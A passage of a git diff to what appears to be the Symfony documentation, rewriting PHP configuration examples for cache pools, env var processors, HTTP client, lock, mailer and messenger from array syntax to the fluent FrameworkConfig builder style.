-                            ['name' => 'cache.adapter.redis', 'provider' => 'redis://user:password@example.com'],
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->cache()
+                ->pool('my_cache_pool')
+                    ->defaultLifetime(31536000) // One year
+                    ->adapters([
+                        'cache.adapter.array',
+                        'cache.adapter.apcu',
+                        ['name' => 'cache.adapter.redis', 'provider' => 'redis://user:password@example.com'],
+                    ])
+            ;
+        };
 
 Using Cache Tags
 ----------------
@@ -613,16 +608,15 @@ to enable this feature. This could be added by using the following configuration
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'my_cache_pool' => [
-                        'adapter' => 'cache.adapter.redis',
-                        'tags' => true,
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->cache()
+                ->pool('my_cache_pool')
+                    ->tags(true)
+                    ->adapters(['cache.adapter.redis'])
+            ;
+        };
 
 Tags are stored in the same pool by default. This is good in most scenarios. But
 sometimes it might be better to store the tags in a different pool. That could be
@@ -663,19 +657,20 @@ achieved by specifying the adapter.
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'my_cache_pool' => [
-                        'adapter' => 'cache.adapter.redis',
-                        'tags' => 'tag_pool',
-                    ],
-                    'tag_pool' => [
-                        'adapter' => 'cache.adapter.apcu',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->cache()
+                ->pool('my_cache_pool')
+                    ->tags('tag_pool')
+                    ->adapters(['cache.adapter.redis'])
+            ;
+
+            $framework->cache()
+                ->pool('tag_pool')
+                    ->adapters(['cache.adapter.apcu'])
+            ;
+        };
 
 .. note::
 
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 8187364c152..d1be0338448 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -44,11 +44,15 @@ processor to turn the value of the ``HTTP_PORT`` env var into an integer:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'router' => [
-                'http_port' => '%env(int:HTTP_PORT)%',
-            ],
-        ]);
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->router()
+                ->httpPort(env('HTTP_PORT')->int())
+            ;
+        };
 
 Built-In Environment Variable Processors
 ----------------------------------------
@@ -90,10 +94,15 @@ Symfony provides the following env var processors:
         .. code-block:: php
 
             // config/packages/framework.php
-            $container->setParameter('env(SECRET)', 'some_secret');
-            $container->loadFromExtension('framework', [
-                'secret' => '%env(string:SECRET)%',
-            ]);
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            use Symfony\Component\DependencyInjection\ContainerBuilder;
+            use Symfony\Config\FrameworkConfig;
+
+            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+                $container->setParameter('env(SECRET)', 'some_secret');
+                $framework->secret(env('SECRET')->string());
+            };
 
 ``env(bool:FOO)``
     Casts ``FOO`` to a bool (``true`` values are ``'true'``, ``'on'``, ``'yes'``
@@ -131,10 +140,15 @@ Symfony provides the following env var processors:
         .. code-block:: php
 
             // config/packages/framework.php
-            $container->setParameter('env(HTTP_METHOD_OVERRIDE)', 'true');
-            $container->loadFromExtension('framework', [
-                'http_method_override' => '%env(bool:HTTP_METHOD_OVERRIDE)%',
-            ]);
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            use Symfony\Component\DependencyInjection\ContainerBuilder;
+            use Symfony\Config\FrameworkConfig;
+
+            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+                $container->setParameter('env(HTTP_METHOD_OVERRIDE)', 'true');
+                $framework->httpMethodOverride(env('HTTP_METHOD_OVERRIDE')->bool());
+            };
 
 ``env(not:FOO)``
 
@@ -269,10 +283,15 @@ Symfony provides the following env var processors:
         .. code-block:: php
 
             // config/packages/framework.php
-            $container->setParameter('env(TRUSTED_HOSTS)', '["10.0.0.1", "10.0.0.2"]');
-            $container->loadFromExtension('framework', [
-                'trusted_hosts' => '%env(json:TRUSTED_HOSTS)%',
-            ]);
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            use Symfony\Component\DependencyInjection\ContainerBuilder;
+            use Symfony\Config\FrameworkConfig;
+
+            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+                $container->setParameter('env(TRUSTED_HOSTS)', '["10.0.0.1", "10.0.0.2"]');
+                $framework->trustedHosts(env('TRUSTED_HOSTS')->json());
+            };
 
 ``env(resolve:FOO)``
     If the content of ``FOO`` includes container parameters (with the syntax
@@ -353,10 +372,15 @@ Symfony provides the following env var processors:
         .. code-block:: php
 
             // config/packages/framework.php
-            $container->setParameter('env(TRUSTED_HOSTS)', '10.0.0.1,10.0.0.2');
-            $container->loadFromExtension('framework', [
-                'trusted_hosts' => '%env(csv:TRUSTED_HOSTS)%',
-            ]);
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            use Symfony\Component\DependencyInjection\ContainerBuilder;
+            use Symfony\Config\FrameworkConfig;
+
+            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+                $container->setParameter('env(TRUSTED_HOSTS)', '10.0.0.1,10.0.0.2');
+                $framework->trustedHosts(env('TRUSTED_HOSTS')->csv());
+            };
 
 ``env(file:FOO)``
     Returns the contents of a file whose path is the value of the ``FOO`` env var:
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 890f60d1ca8..66e9aae2bbe 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -234,12 +234,15 @@ because the configuration started to get bigger:
     .. code-block:: php
 
         // config/framework.php
-        $container->loadFromExtension('framework', [
-            'secret' => 'S0ME_SECRET',
-            'profiler' => [
-                'only_exceptions' => false,
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework
+                ->secret('SOME_SECRET')
+                ->profiler()
+                    ->onlyExceptions(false)
+            ;
+        };
 
 This also loads annotation routes from an ``src/Controller/`` directory, which
 has one file in it::
diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index fef0d7756fb..6f56f4b54a4 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -186,11 +186,13 @@ configuration option to define your own translations directory (use :ref:`framew
     .. code-block:: php
 
         // config/packages/translation.php
-        $container->loadFromExtension('framework', [
-            'translator' => [
-                'default_path' => '%kernel.project_dir%/i18n',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->translator()
+                ->defaultPath('%kernel.project_dir%/i18n')
+            ;
+        };
 
 .. _override-web-dir:
 .. _override-the-web-directory:
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 299d36326fc..8db723d63de 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -308,13 +308,15 @@ The secrets system is enabled by default and some of its behavior can be configu
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'secrets' => [
-                // 'vault_directory' => '%kernel.project_dir%/config/secrets/%kernel.environment%',
-                // 'local_dotenv_file' => '%kernel.project_dir%/.env.%kernel.environment%.local',
-                // 'decryption_env_var' => 'base64:default::SYMFONY_DECRYPTION_SECRET',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->secrets()
+                // ->vaultDirectory('%kernel.project_dir%/config/secrets/%kernel.environment%')
+                // ->localDotenvFile('%kernel.project_dir%/.env.%kernel.environment%.local')
+                // ->decryptionEnvVar('base64:default::SYMFONY_DECRYPTION_SECRET')
+            ;
+        };
 
 
 .. _`libsodium`: https://pecl.php.net/package/libsodium
diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 337723d8605..fabea2dcd22 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -273,10 +273,12 @@ configuration option to point to it:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'error_controller' => 'App\Controller\ErrorController::show',
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-        ]);
+            $framework->errorController('App\Controller\ErrorController::show');
+        };
 
 The :class:`Symfony\\Component\\HttpKernel\\EventListener\\ErrorListener`
 class used by the FrameworkBundle as a listener of the ``kernel.exception`` event creates
diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 49aa04c8361..62d5c182c1e 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -68,16 +68,18 @@ and what headers your reverse proxy uses to send information:
     .. code-block:: php
 
         // config/packages/framework.php
-        use Symfony\Component\HttpFoundation\Request;
-
-        $container->loadFromExtension('framework', [
-            // the IP address (or range) of your proxy
-            'trusted_proxies' => '192.0.0.1,10.0.0.0/8',
-            // trust *all* "X-Forwarded-*" headers (the ! prefix means to not trust those headers)
-            'trusted_headers' => ['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port'],
-            // or, if your proxy instead uses the "Forwarded" header
-            'trusted_headers' => ['forwarded'],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework
+                // the IP address (or range) of your proxy
+                ->trustedProxies('192.0.0.1,10.0.0.0/8')
+                // trust *all* "X-Forwarded-*" headers (the ! prefix means to not trust those headers)
+                ->trustedHeaders(['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port'])
+                // or, if your proxy instead uses the "Forwarded" header
+                ->trustedHeaders(['forwarded'])
+            ;
+        };
 
 .. deprecated:: 5.2
 
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index bf5f82fd9f4..336acfbd295 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -190,12 +190,13 @@ the :ref:`version_strategy <reference-assets-version-strategy>` option:
 
         // config/packages/framework.php
         use App\Asset\VersionStrategy\GulpBusterVersionStrategy;
+        use Symfony\Config\FrameworkConfig;
 
-        $container->loadFromExtension('framework', [
+        return static function (FrameworkConfig $framework) {
             // ...
-            'assets' => [
-                'version_strategy' => GulpBusterVersionStrategy::class,
-            ],
-        ]);
+            $framework->assets()
+                ->versionStrategy(GulpBusterVersionStrategy::class)
+            ;
+        };
 
 .. _`gulp-buster`: https://www.npmjs.com/package/gulp-buster
diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index 6108df41f49..a166a01762e 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -88,10 +88,13 @@ First, to use ESI, be sure to enable it in your application configuration:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            // ...
-            'esi' => ['enabled' => true],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->esi()
+                ->enabled(true)
+            ;
+        };
 
 Now, suppose you have a page that is relatively static, except for a news
 ticker at the bottom of the content. With ESI, you can cache the news ticker
@@ -225,10 +228,14 @@ that must be enabled in your configuration:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'fragments' => ['path' => '/_fragment'],
-        ]);
+            $framework->fragments()
+                ->path('/_fragment')
+            ;
+        };
 
 One great advantage of the ESI renderer is that you can make your application
 as dynamic as needed and at the same time, hit the application as little as
diff --git a/http_cache/ssi.rst b/http_cache/ssi.rst
index 94bab702db4..f7cb9671b54 100644
--- a/http_cache/ssi.rst
+++ b/http_cache/ssi.rst
@@ -76,9 +76,13 @@ First, to use SSI, be sure to enable it in your application configuration:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'ssi' => ['enabled' => true],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->ssi()
+                ->enabled(true)
+            ;
+        };
 
 Suppose you have a page with private content like a Profile page and you want
 to cache a static GDPR content block. With SSI, you can add some expiration
@@ -86,7 +90,7 @@ on this block and keep the page private::
 
     // src/Controller/ProfileController.php
     namespace App\Controller;
-    
+
     // ...
     class ProfileController extends AbstractController
     {
diff --git a/http_client.rst b/http_client.rst
index e52f3d4940e..dc4018760fd 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -123,13 +123,14 @@ You can configure the global options using the ``default_options`` option:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'default_options' => [
-                    'max_redirects' => 7,
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->httpClient()
+                ->defaultOptions()
+                    ->maxRedirects(7)
+            ;
+        };
 
     .. code-block:: php-standalone
 
@@ -183,12 +184,14 @@ The HTTP client also has one configuration option called
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'max_host_connections' => 10,
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->httpClient()
+                ->maxHostConnections(10)
                 // ...
-            ],
-        ]);
+            ;
+        };
 
     .. code-block:: php-standalone
 
@@ -264,32 +267,26 @@ autoconfigure the HTTP client based on the requested URL:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'scoped_clients' => [
-                    // only requests matching scope will use these options
-                    'github' => [
-                        'scope' => 'https://api\.github\.com',
-                        'headers' => [
-                            'Accept' => 'application/vnd.github.v3+json',
-                            'Authorization' => 'token %env(GITHUB_API_TOKEN)%',
-                        ],
-                        // ...
-                    ],
-
-                    // using base_url, relative URLs (e.g. request("GET", "/repos/symfony/symfony-docs"))
-                    // will default to these options
-                    'github' => [
-                        'base_uri' => 'https://api.github.com',
-                        'headers' => [
-                            'Accept' => 'application/vnd.github.v3+json',
-                            'Authorization' => 'token %env(GITHUB_API_TOKEN)%',
-                        ],
-                        // ...
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // only requests matching scope will use these options
+            $framework->httpClient()->scopedClient('github')
+                ->scope('https://api\.github\.com')
+                ->header('Accept', 'application/vnd.github.v3+json')
+                ->header('Authorization', 'token %env(GITHUB_API_TOKEN)%')
+                // ...
+            ;
+
+            // using base_url, relative URLs (e.g. request("GET", "/repos/symfony/symfony-docs"))
+            // will default to these options
+            $framework->httpClient()->scopedClient('github')
+                ->baseUri('https://api.github.com')
+                ->header('Accept', 'application/vnd.github.v3+json')
+                ->header('Authorization', 'token %env(GITHUB_API_TOKEN)%')
+                // ...
+            ;
+        };
 
     .. code-block:: php-standalone
 
@@ -432,24 +429,21 @@ each request (which overrides any global authentication):
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'scoped_clients' => [
-                    'example_api' => [
-                        'base_uri' => 'https://example.com/',
+        use Symfony\Config\FrameworkConfig;
 
-                        // HTTP Basic authentication
-                        'auth_basic' => 'the-username:the-password',
+        return static function (FrameworkConfig $framework) {
+            $framework->httpClient()->scopedClient('example_api')
+                ->baseUri('https://example.com/')
+                // HTTP Basic authentication
+                ->authBasic('the-username:the-password')
 
-                        // HTTP Bearer authentication (also called token authentication)
-                        'auth_bearer' => 'the-bearer-token',
+                // HTTP Bearer authentication (also called token authentication)
+                ->authBearer('the-bearer-token')
 
-                        // Microsoft NTLM authentication
-                        'auth_ntlm' => 'the-username:the-password',
-                    ],
-                ],
-            ],
-        ]);
+                // Microsoft NTLM authentication
+                ->authNtlm('the-username:the-password')
+            ;
+        };
 
     .. code-block:: php-standalone
 
@@ -537,15 +531,14 @@ Use the ``headers`` option to define the default headers added to all requests:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'default_options' => [
-                    'headers' => [
-                        'User-Agent' => 'My Fancy App',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->httpClient()
+                ->defaultOptions()
+                    ->header('User-Agent', 'My Fancy App')
+            ;
+        };
 
     .. code-block:: php-standalone
 
@@ -882,13 +875,14 @@ To force HTTP/2 for ``http`` URLs, you need to enable it explicitly via the
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'default_options' => [
-                    'http_version' => '2.0',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->httpClient()
+                ->defaultOptions()
+                    ->httpVersion('2.0')
+            ;
+        };
 
     .. code-block:: php-standalone
 
@@ -1733,11 +1727,13 @@ Then configure Symfony to use your callback:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'mock_response_factory' => MockClientCallback::class,
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->httpClient()
+                ->mockResponseFactory(MockClientCallback::class)
+            ;
+        };
 
 .. _`cURL PHP extension`: https://www.php.net/curl
 .. _`PSR-17`: https://www.php-fig.org/psr/psr-17/
diff --git a/lock.rst b/lock.rst
index db987f1d20e..8e64d42249f 100644
--- a/lock.rst
+++ b/lock.rst
@@ -129,32 +129,33 @@ this behavior by using the ``lock`` key like:
     .. code-block:: php
 
         // config/packages/lock.php
-        $container->loadFromExtension('framework', [
-            'lock' => null,
-            'lock' => 'flock',
-            'lock' => 'flock:///path/to/file',
-            'lock' => 'semaphore',
-            'lock' => 'memcached://m1.docker',
-            'lock' => ['memcached://m1.docker', 'memcached://m2.docker'],
-            'lock' => 'redis://r1.docker',
-            'lock' => ['redis://r1.docker', 'redis://r2.docker'],
-            'lock' => 'zookeeper://z1.docker',
-            'lock' => 'zookeeper://z1.docker,z2.docker',
-            'lock' => 'sqlite:///%kernel.project_dir%/var/lock.db',
-            'lock' => 'mysql:host=127.0.0.1;dbname=app',
-            'lock' => 'pgsql:host=127.0.0.1;dbname=app',
-            'lock' => 'pgsql+advisory:host=127.0.0.1;dbname=lock',
-            'lock' => 'sqlsrv:server=127.0.0.1;Database=app',
-            'lock' => 'oci:host=127.0.0.1;dbname=app',
-            'lock' => 'mongodb://127.0.0.1/app?collection=lock',
-            'lock' => '%env(LOCK_DSN)%',
-
-            // named locks
-            'lock' => [
-                'invoice' => ['semaphore', 'redis://r2.docker'],
-                'report' => 'semaphore',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->lock()
+                ->resource('default', ['flock'])
+                ->resource('default', ['flock:///path/to/file'])
+                ->resource('default', ['semaphore'])
+                ->resource('default', ['memcached://m1.docker'])
+                ->resource('default', ['memcached://m1.docker', 'memcached://m2.docker'])
+                ->resource('default', ['redis://r1.docker'])
+                ->resource('default', ['redis://r1.docker', 'redis://r2.docker'])
+                ->resource('default', ['zookeeper://z1.docker'])
+                ->resource('default', ['zookeeper://z1.docker,z2.docker'])
+                ->resource('default', ['sqlite:///%kernel.project_dir%/var/lock.db'])
+                ->resource('default', ['mysql:host=127.0.0.1;dbname=app'])
+                ->resource('default', ['pgsql:host=127.0.0.1;dbname=app'])
+                ->resource('default', ['pgsql+advisory:host=127.0.0.1;dbname=lock'])
+                ->resource('default', ['sqlsrv:server=127.0.0.1;Database=app'])
+                ->resource('default', ['oci:host=127.0.0.1;dbname=app'])
+                ->resource('default', ['mongodb://127.0.0.1/app?collection=lock'])
+                ->resource('default', ['%env(LOCK_DSN)%'])
+
+                // named locks
+                ->resource('invoice', ['semaphore', 'redis://r2.docker'])
+                ->resource('report', ['semaphore'])
+            ;
+        };
 
 Locking a Resource
 ------------------
@@ -269,12 +270,15 @@ provides :ref:`named lock <reference-lock-resources-name>`:
     .. code-block:: php
 
         // config/packages/lock.php
-        $container->loadFromExtension('framework', [
-            'lock' => [
-                'invoice' => ['semaphore', 'redis://r2.docker'],
-                'report' => 'semaphore',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->lock()
+                ->resource('invoice', ['semaphore', 'redis://r2.docker'])
+                ->resource('report', ['semaphore']);
+            ;
+        };
+
 
 Each name becomes a service where the service id is part of the name of the
 lock (e.g. ``lock.invoice.factory``). An autowiring alias is also created for
diff --git a/mailer.rst b/mailer.rst
index f772dba65af..2a7329caacc 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -510,20 +510,20 @@ and headers.
     .. code-block:: php
 
         // config/packages/mailer.php
-        $container->loadFromExtension('framework', [
-            // ...
-            'mailer' => [
-                'envelope' => [
-                    'sender' => 'fabien@example.com',
-                    'recipients' => ['foo@example.com', 'bar@example.com'],
-                ],
-                'headers' => [
-                    'from' => 'Fabien <fabien@example.com>',
-                    'bcc' => 'baz@example.com',
-                    'X-Custom-Header' => 'foobar',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $mailer = $framework->mailer();
+            $mailer
+                ->envelope()
+                    ->sender('fabien@example.com')
+                    ->recipients(['foo@example.com', 'bar@example.com'])
+            ;
+
+            $mailer->header('from')->value('Fabien <fabien@example.com>');
+            $mailer->header('bcc')->value('baz@example.com');
+            $mailer->header('X-Custom-Header')->value('foobar');
+        };
 
 .. versionadded:: 5.2
 
@@ -1092,15 +1092,14 @@ This can be configured by replacing the ``dsn`` configuration entry with a
     .. code-block:: php
 
         // config/packages/mailer.php
-        $container->loadFromExtension('framework', [
-            // ...
-            'mailer' => [
-                'transports' => [
-                    'main' => '%env(MAILER_DSN)%',
-                    'alternative' => '%env(MAILER_DSN_IMPORTANT)%',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->mailer()
+                ->transport('main', '%env(MAILER_DSN)%')
+                ->transport('alternative', '%env(MAILER_DSN_IMPORTANT)%')
+            ;
+        };
 
 By default the first transport is used. The other transports can be used by
 adding a text header ``X-Transport`` to an email::
@@ -1163,16 +1162,17 @@ you have a transport called ``async``, you can route the message there:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'async' => '%env(MESSENGER_TRANSPORT_DSN)%',
-                ],
-                'routing' => [
-                    'Symfony\Component\Mailer\Messenger\SendEmailMessage' => 'async',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->messenger()
+                ->transport('async')->dsn('%env(MESSENGER_TRANSPORT_DSN)%');
+
+            $framework->messenger()
+                ->routing('Symfony\Component\Mailer\Messenger\SendEmailMessage')
+                ->senders(['async']);
+        };
+
 
 Thanks to this, instead of being delivered immediately, messages will be sent to
 the transport to be handled later (see :ref:`messenger-worker`).
@@ -1213,11 +1213,12 @@ disable asynchronous delivery.
     .. code-block:: php
 
         // config/packages/mailer.php
-        $container->loadFromExtension('framework', [
-            'mailer' => [
-                'message_bus' => 'app.another_bus',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->mailer()
+                ->messageBus('app.another_bus');
+        };
 
 .. versionadded:: 5.1
 
@@ -1300,12 +1301,13 @@ the mailer configuration file (e.g. in the ``dev`` or ``test`` environments):
     .. code-block:: php
 
         // config/packages/mailer.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'mailer' => [
-                'dsn' => 'null://null',
-            ],
-        ]);
+            $framework->mailer()
+                ->dsn('null://null');
+        };
 
 .. note::
 
@@ -1352,14 +1354,15 @@ a specific address, instead of the *real* address:
     .. code-block:: php
 
         // config/packages/mailer.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'mailer' => [
-                'envelope' => [
-                    'recipients' => ['youremail@example.com'],
-                ],
-            ],
-        ]);
+            $framework->mailer()
+                ->envelope()
+                    ->recipients(['youremail@example.com'])
+            ;
+        };
 
 .. _`high availability`: https://en.wikipedia.org/wiki/High_availability
 .. _`load balancing`: https://en.wikipedia.org/wiki/Load_balancing_(computing)
diff --git a/messenger.rst b/messenger.rst
index c5725a4153a..000b4b622f6 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -179,19 +179,20 @@ that uses this configuration:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'async' => '%env(MESSENGER_TRANSPORT_DSN)%',
-
-                    // or expanded to configure more options
-                    'async' => [
-                       'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
-                       'options' => [],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->messenger()
+                ->transport('async')
+                    ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+            ;
+
+            $framework->messenger()
+                ->transport('async')
+                    ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                    ->options([])
+            ;
+        };
 
 .. _messenger-routing:
 
@@ -240,14 +241,14 @@ you can configure them to be sent to a transport:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'routing' => [
-                    // async is whatever name you gave your transport above
-                    'App\Message\SmsNotification' => 'async',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->messenger()
+                // async is whatever name you gave your transport above
+                ->routing('App\Message\SmsNotification')->senders(['async'])
+            ;
+        };
 
 Thanks to this, the ``App\Message\SmsNotification`` will be sent to the ``async``
 transport and its handler(s) will *not* be called immediately. Any messages not
@@ -302,16 +303,15 @@ to multiple transports:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'routing' => [
-                    // route all messages that extend this example base class or interface
-                    'App\Message\AbstractAsyncMessage' => 'async',
-                    'App\Message\AsyncMessageInterface' => 'async',
-                    'My\Message\ToBeSentToTwoSenders' => ['async', 'audit'],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+            // route all messages that extend this example base class or interface
+            $messenger->routing('App\Message\AbstractAsyncMessage')->senders(['async']);
+            $messenger->routing('App\Message\AsyncMessageInterface')->senders(['async']);
+            $messenger->routing('My\Message\ToBeSentToTwoSenders')->senders(['async', 'audit']);
+        };
 
 .. note::
 
@@ -425,18 +425,16 @@ transport and "sending" messages there to be handled immediately:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    // ... other transports
-
-                    'sync' => 'sync://',
-                ],
-                'routing' => [
-                    'App\Message\SmsNotification' => 'sync',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            // ... other transports
+
+            $messenger->transport('sync')->dsn('sync://');
+            $messenger->routing('App\Message\SmsNotification')->senders(['sync']);
+        };
 
 Creating your Own Transport
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -561,28 +559,22 @@ different messages to them. For example:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'async_priority_high' => [
-                        'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
-                        'options' => [
-                            'queue_name' => 'high',
-                        ],
-                    ],
-                    'async_priority_low' => [
-                        'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
-                        'options' => [
-                            'queue_name' => 'low',
-                        ],
-                    ],
-                ],
-                'routing' => [
-                    'App\Message\SmsNotification' => 'async_priority_low',
-                    'App\Message\NewUserWelcomeEmail' => 'async_priority_high',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->transport('async_priority_high')
+                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->options(['queue_name' => 'high']);
+
+            $messenger->transport('async_priority_low')
+                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->options(['queue_name' => 'low']);
+
+            $messenger->routing('App\Message\SmsNotification')->senders(['async_priority_low']);
+            $messenger->routing('App\Message\NewUserWelcomeEmail')->senders(['async_priority_high']);
+        };
 
 You can then run individual workers for each transport or instruct one worker
 to handle messages in a priority order:
@@ -732,29 +724,27 @@ this is configurable for each transport:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'async_priority_high' => [
-                        'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
-
-                        // default configuration
-                        'retry_strategy' => [
-                            'max_retries' => 3,
-                            // milliseconds delay
